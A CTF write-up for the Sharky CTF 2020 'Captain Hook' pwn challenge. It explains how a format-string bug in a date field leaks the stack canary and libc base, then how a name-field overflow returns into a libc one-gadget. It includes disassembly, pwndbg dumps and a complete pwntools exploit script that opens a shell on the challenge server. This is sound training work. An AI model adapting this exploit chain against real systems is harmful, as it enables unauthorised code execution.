Sharky CTF 2020 / Published

Captain Hook

A format-string bug leaks the stack canary and libc, then a buffer overflow in the edit handler drives a ROP chain to a one-gadget shell.

pwn

7 min read

Target
amd64, glibc 2.27
RELRO
Full
Canary
Found
NX
Enabled
PIE
Enabled
Challenge brief

Find a way to pop a shell.

Creator: Hackhim

captain_hook

libc-2.27.so

Inspecting the character manager

As with most pwn challenges, let’s start off by checking what kind of binary we’re given.

vagrant@ctf:/vagrant/challenges/sharky/captain_hook$ file captain_hook
captain_hook: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2f0c9d4bc44173b7f5b7b301c288f44f1b16c6ba, not stripped

Okay, it’s just a 64 bit ELF binary just like the give_away_2.

vagrant@ctf:/vagrant/challenges/sharky/captain_hook$ ./captain_hook

==Commands========
 1 -> List all characters
 2 -> Lock up a new character
 3 -> Read character infos
 4 -> Edit character infos
 5 -> Free a character
 6 -> Quit
==================

peterpan@pwnuser:~$

Finding the format string and buffer overflow

This is a little more functional than the two give_away challenges. Lets have a look at it in IDA.

Text
read_character_infos
--------------------
.text:0000000000000FA0                 call    check_date_format
.text:0000000000000FA5                 test    eax, eax
.text:0000000000000FA7                 jz      short loc_FC0
.text:0000000000000FA9                 mov     rax, [rbp+src]
.text:0000000000000FAD                 add     rax, 36
.text:0000000000000FB1                 mov     rdi, rax        ; format
.text:0000000000000FB4                 mov     eax, 0
.text:0000000000000FB9                 call    printf ; printf(src + 36)

If we look closely, read_character_infos appears to be vulnerable to a format string attack since src + 36 (date) is effectively controlled by our user input. However, it seems like we’re limited in what we can do because a typical format string payload wouldn’t pass the check_date_format check. So let’s put this aside for now.

Text
edit_characters
---------------
.text:0000000000000FF3 var_40          = dword ptr -40h
.text:0000000000000FF3 var_3C          = dword ptr -3Ch
.text:0000000000000FF3 s1              = qword ptr -38h
.text:0000000000000FF3 s2              = byte ptr -30h
.text:0000000000000FF3 var_8           = qword ptr -8
/////////////////// MORE CODE HERE ///////////////////////////
.text:00000000000010A3                 lea     rax, [rbp+s2]
.text:00000000000010A7                 mov     esi, 127
.text:00000000000010AC                 mov     rdi, rax
.text:00000000000010AF                 call    read_user_str; read_user_str(s2, 127)

Well well well. What do we have here? looks like read_user_str might be cause a buffer overflow since it reads an input of size 127. Let’s test our hypothesis.

==Commands========
 1 -> List all characters
 2 -> Lock up a new character
 3 -> Read character infos
 4 -> Edit character infos
 5 -> Free a character
 6 -> Quit
==================

peterpan@pwnuser:~$ 4
 [ Character index ]: 0
 [ Character ]
  Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  Age: 1
  Date (mm/dd/yyyy): 12/12/2020
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

Looks like it overflowed, but got flagged by the stack smashing protector. Let’s check the security features of the binary.

vagrant@ctf:/vagrant/challenges/sharky/captain_hook$ checksec captain_hook
[*] '/vagrant/challenges/sharky/captain_hook/captain_hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Bypassing date validation to leak the stack

Right, there’s a stack canary. We could potentially write the original value over it if we knew the value, but we don’t. However, if we can manage to exploit the earlier format string bug, we can potentially get printf to print out the canary value. Maybe let’s play around with the program in GDB to see if we can do anything.

==Commands========
 1 -> List all characters
 2 -> Lock up a new character
 3 -> Read character infos
 4 -> Edit character infos
 5 -> Free a character
 6 -> Quit
==================

peterpan@pwnuser:~$ 4
 [ Character index ]: 0
 [ Character ]
  Name: ABCDEFGHIJKLMNOPQRSTUVWXYZ
  Age: 1
  Date (mm/dd/yyyy): 12/12/2020
peterpan@pwnuser:~$ ^C

Program received signal SIGINT, Interrupt.
0x00007ffff7af4081 in __GI___libc_read (fd=0, buf=0x7ffff7dcfa83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:27

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000251	........Q.......
/////////////////////////////////// TRUNCATED //////////////////////////////////
0x555555757250	0x0000000000000000	0x0000000000000051	........Q.......
0x555555757260	0x4847464544434241	0x504f4e4d4c4b4a49	ABCDEFGHIJKLMNOP
0x555555757270	0x5857565554535251	0x0000000000005a59	QRSTUVWXYZ......
0x555555757280	0x312f323100000001	0x4c4b303230322f32	....12/12/2020KL
0x555555757290	0x54535251504f4e4d	0x00005a5958575655	MNOPQRSTUVWXYZ..
0x5555557572a0	0x0000000000000000	0x0000000000020d61	........a.......	 <-- Top chunk

Hol up, this is really odd. The name suffix appears after the date because edit_character reuses one stack buffer, at B = RBP - 0x30, for both inputs. read_user_str(B, 127) leaves the name terminated by NUL. The later read(0, B, 10) adds no terminator. In this interaction it receives ten date bytes, replacing offsets 0–9 while retaining the name suffix. A short read could replace fewer bytes. When the new string differs from the old date, strncpy(src + 0x24, B, 32) copies it into the heap date field; the effect comes from stack-buffer reuse followed by a copy.

check_date_format checks only positions 0–9: slashes at 2 and 5, and ASCII digits elsewhere. It checks neither a terminator at position 10 nor calendar validity. For AAAAAAAAAA.%17$p.%19$p, the ten-byte date read leaves both directives and the NUL at offset 22 intact. The 32-byte copy transfers this string to the heap date and pads the remaining nine bytes with zeros. Later, read_character_infos validates only heap date bytes 0–9 before passing the whole string to printf. The dump above uses alphabet input; this payload uses printf argument indexes 17 and 19.

The reused input buffer carries format directives into the dateThe date read reuses the name buffer; in this example it replaces ten prefix bytes and leaves the directives and terminator. A 32-byte copy transfers the string to the heap date. Validation checks ten positions, then printf interprets the retained suffix.byte offset0101622name in stackB = RBP - 0x30AAAAAAAAAA.%17$p.%19$p00NULread(0, B, 10): no added NULhere read returns all ten date bytesafter date read12/12/2020.%17$p.%19$p00NULlater validation: bytes 0–9strncpy(..., 32)heap datesrc+0x2412/12/2020.%17$p.%19$p00NULprintf(date)%17$p: canary value (main's saved copy)%19$p: libc return, __libc_start_main+231
Figure 1. The date overwrites ten prefix bytes. The heap copy retains the format directives, beyond the bytes checked before printf.
Breakpoint 1, 0x0000555555554e89 in read_character_infos ()

────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────
00:0000│ rbp rsp  0x7fffffffdca0 —▸ 0x7fffffffdcc0 —▸ 0x5555555553c0 (__libc_csu_init) ◂— push   r15
01:0008│          0x7fffffffdca8 —▸ 0x55555555535a (main+173) ◂— jmp    0x55555555538d
02:0010│          0x7fffffffdcb0 ◂— 0x300000005
03:0018│          0x7fffffffdcb8 ◂— 0x5226422b7e97ff00  <== canary
04:0020│          0x7fffffffdcc0 —▸ 0x5555555553c0 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdcc8 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax <== libc address
06:0030│          0x7fffffffdcd0 ◂— 0x1
07:0038│          0x7fffffffdcd8 —▸ 0x7fffffffdda8 —▸ 0x7fffffffe0d3 ◂— '/vagrant/challenges/sharky/captain_hook/captain_hook'
───────────────────────────────────────────────────────[ BACKTRACE ]────────────-─────────────────────────────────────────────
 ► f 0     555555554e89 read_character_infos+4
   f 1     55555555535a main+173
   f 2     7ffff7a05b97 __libc_start_main+231

Building the one-gadget exploit

The recorded stack contains both values needed for the payload. %17$p leaks main’s saved canary copy, which comes from the same FS:0x28 value checked by the edit handler. %19$p leaks main’s libc return address, recorded as __libc_start_main+231. The submitted name places the original eight-byte guard at offset 40, filler in the saved-RBP slot at 48, and the selected return target at 56. Forty is the distance to the guard, not a declared buffer size. The later date read replaces the first ten bytes in this example.

The submitted name payload preserves the canary and replaces the return targetThe original guard occupies offset 40 and the selected return target occupies offset 56; the frame-pointer slot at 48 contains filler. The date read later replaces the first ten bytes of the submitted name. The shown gadget also needs a null word at entry RSP plus 0x40, which is B+128 and lies outside this 64-byte payload.submitted name payloadfiller compressed; not to scaleB+04048566440 bytes before guardfilleroriginal guard8 bytessaved-RBP slotfillerreturn targetlibc_base+0x4f322The later date read replaces bytes 0–9 here.%17$p: same 8-byte valuematches TLS at the guard check%19$p: libc return addresslibc_base = leak − (offset(__libc_start_main) + 231)The gadget also needs [RSP+0x40] == NULL; this payload cannot set it:RSP = B+64; required word at B+128, outside the 64-byte payload.
Figure 2. The leaked canary goes at offset 40. The return target starts at offset 56 and comes from the separate libc leak.

The libc base is leak - (offset(__libc_start_main) + 231), and the selected target is libc_base + 0x4f322. That gadget also requires [RSP+0x40] == NULL at entry. After the return, RSP = B + 64, so the required word is at B + 128, beyond this 64-byte payload. Nothing in the payload sets that word, so the gadget relies on it already being zero.

Python
#! /usr/bin/python2

from pwn import *

HOST = 'sharkyctf.xyz'
PORT = 20336
BINARY = './captain_hook'

elf = context.binary = ELF(BINARY)
libc = ELF('./libc-2.27.so')

# Gadgets

libc.symbols['one_gadget'] = 0x4f322

'''
One Gadget
----------
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
    [rsp+0x40] == NULL
'''

# Offsets

CANARY_OFFSET = 40

'''
# Name input as: ABCDEFGHIJK
# Canary (0x49126acae49f1d00) is 40 bytes away

pwndbg> x/10gx $rsp
0x7fffffffdc60:	0x0000000000000000	0x0000555555757260
0x7fffffffdc70:	0x4847464544434241	0x00005500004b4a49  <- Name input
0x7fffffffdc80:	0x00007fffffffdda0	0x3400555500000004
0x7fffffffdc90:	0x000055555575000a	0x49126acae49f1d00  <- Canary
0x7fffffffdca0:	0x00007fffffffdcc0	0x0000555555555366

pwndbg> canary
AT_RANDOM = 0x7fffffffe0b9 # points to (not masked) global canary value
Canary    = 0x49126acae49f1d00
'''

# RIP Padding

PAYLOAD_PADDING = CANARY_OFFSET + 8 + 8  # Add 8 for canary and 8 more for rbp

# Helper Functions

PROMPT = 'peterpan@pwnuser:~$ '

def lock(conn, name = 'AAAA', index = 0, age = 1, date = '12/12/2020'):
    conn.sendlineafter(PROMPT, '2')
    conn.sendlineafter(' [ Character index ]: ', str(index))
    conn.sendlineafter('  Name: ', name)
    conn.sendlineafter('  Age: ', str(age))
    conn.sendlineafter('  Date (mm/dd/yyyy): ', date)

def read(conn, index = 0):
    response = {
        'name': '',
        'age': 0,
        'date': '',
    }
    conn.sendlineafter(PROMPT, '3')
    conn.sendlineafter(' [ Character index ]: ', str(index))

    conn.recvuntil('Character name: ')
    response['name'] = conn.recvline().strip()

    conn.recvuntil('Age: ')
    response['age'] = int(conn.recvline())

    conn.recvuntil('He\'s been locked up on ')
    response['date'] = conn.recvline().strip()[:-1]  # Drop training fullstop

    return response

def edit(conn, name = 'AAAA', index = 0, age = 1, date = '12/12/2020'):
    conn.sendlineafter(PROMPT, '4')
    conn.sendlineafter(' [ Character index ]: ', str(index))
    conn.sendlineafter('  Name: ', name)
    conn.sendlineafter('  Age: ', str(age))
    conn.sendlineafter('  Date (mm/dd/yyyy): ', date)

# Start connection

r = remote(HOST, PORT)

# Stage 1: Leak canary and libc address

PAYLOAD = ('A' * 10) + '.%17$p.%19$p'

'''
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
000000│ rbp rsp  0x7fffffffdca0 —▸ 0x7fffffffdcc0 —▸ 0x5555555553c0 (__libc_csu_init) ◂— push   r15
01:0008│          0x7fffffffdca8 —▸ 0x55555555535a (main+173) ◂— jmp    0x55555555538d
02:0010│          0x7fffffffdcb0 ◂— 0x300000000
03:0018│          0x7fffffffdcb8 ◂— 0xb45650d9e57dcf00 <== canary value, %17$p
04:0020│          0x7fffffffdcc0 —▸ 0x5555555553c0 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdcc8 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax  <== libc address, %19$p
06:0030│          0x7fffffffdcd0 ◂— 0x1
07:0038│          0x7fffffffdcd8 —▸ 0x7fffffffdda8 —▸ 0x7fffffffe0d3 ◂— '/vagrant/challenges/sharky/captain_hook/captain_hook'
────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► f 0     555555554e89 read_character_infos+4
   f 1     55555555535a main+173
   f 2     7ffff7a05b97 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> canary
AT_RANDOM = 0x7fffffffe0b9 # points to (not masked) global canary value
Canary    = 0xb45650d9e57dcf00
'''

log.info('Payload: {}'.format(PAYLOAD))

lock(r)

edit(r, name = PAYLOAD)

response = read(r)
leaked = response['date'].split('.')
canary = int(leaked[1][2:], 16)
libc_leak = int(leaked[2][2:], 16) # __libc_start_main + 231

log.success('Leaked canary value: 0x{:x}'.format(canary))
log.success('Leaked (__libc_start_main + 231): 0x{:x}'.format(libc_leak))

# Stage 2: Build Rop Chain (Call one_gadget)

libc.address = libc_leak - (libc.symbols['__libc_start_main'] + 231)
log.info('Calculated libc base address: 0x{:x}'.format(libc.address))

rop = ROP(libc)
rop.one_gadget()

log.success('Built ROP Chain (Call one_gadget)')
log.success(rop.dump())

# Stage 3: Pwn

edit(r, name = fit({CANARY_OFFSET: p64(canary), PAYLOAD_PADDING: rop.chain()}))

log.success('Sent payload')
log.progress('Spawning a shell...')

r.interactive()

Result

Flag: shkCTF{I_R34lly_l0ve_fr33_H0Ok_m4n}